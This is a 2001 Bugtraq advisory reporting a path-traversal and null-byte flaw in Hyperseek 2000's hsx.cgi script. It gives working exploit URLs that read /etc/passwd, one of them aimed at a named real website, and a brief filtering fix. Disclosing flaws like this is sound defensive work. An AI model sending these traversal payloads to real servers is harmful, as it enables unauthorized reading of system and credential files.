Date:         Sun, 28 Jan 2001 10:28:52 +0300
From: MC GaN <vipersv@MAIL.RU>
Subject:      Hyperseek 2000 Search Engine - "show directory & files" bug
To: BUGTRAQ@SECURITYFOCUS.COM

              --== NerF security gr0up advisory ==--
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Hyperseek 2000 Search Engine - "show directory & files" bug.
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1. Standart perl problem is in statistic module - file: hsx.cgi, script does not filter ../ and %00. Through this bug, you can remotely read any file and make listing of directory. ../ - directory up, %00 hex symbol, that means end of line.

2. Exploit url:
http://www.victim.ru/cgi-bin/hsx.cgi?show=../../../../../../etc/passwd%00
Note: directory can change and amount of ../ can vary.

3. Example:
http://www.netsurprise.de/cgi-bin/suche/hsx.cgi?show=../../../../../../../etc/passwd%00

4. Filter symbols like:
$dat=~ s/\0//g;

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NerF security gr0up (Russia) - www.nerf.f2s.com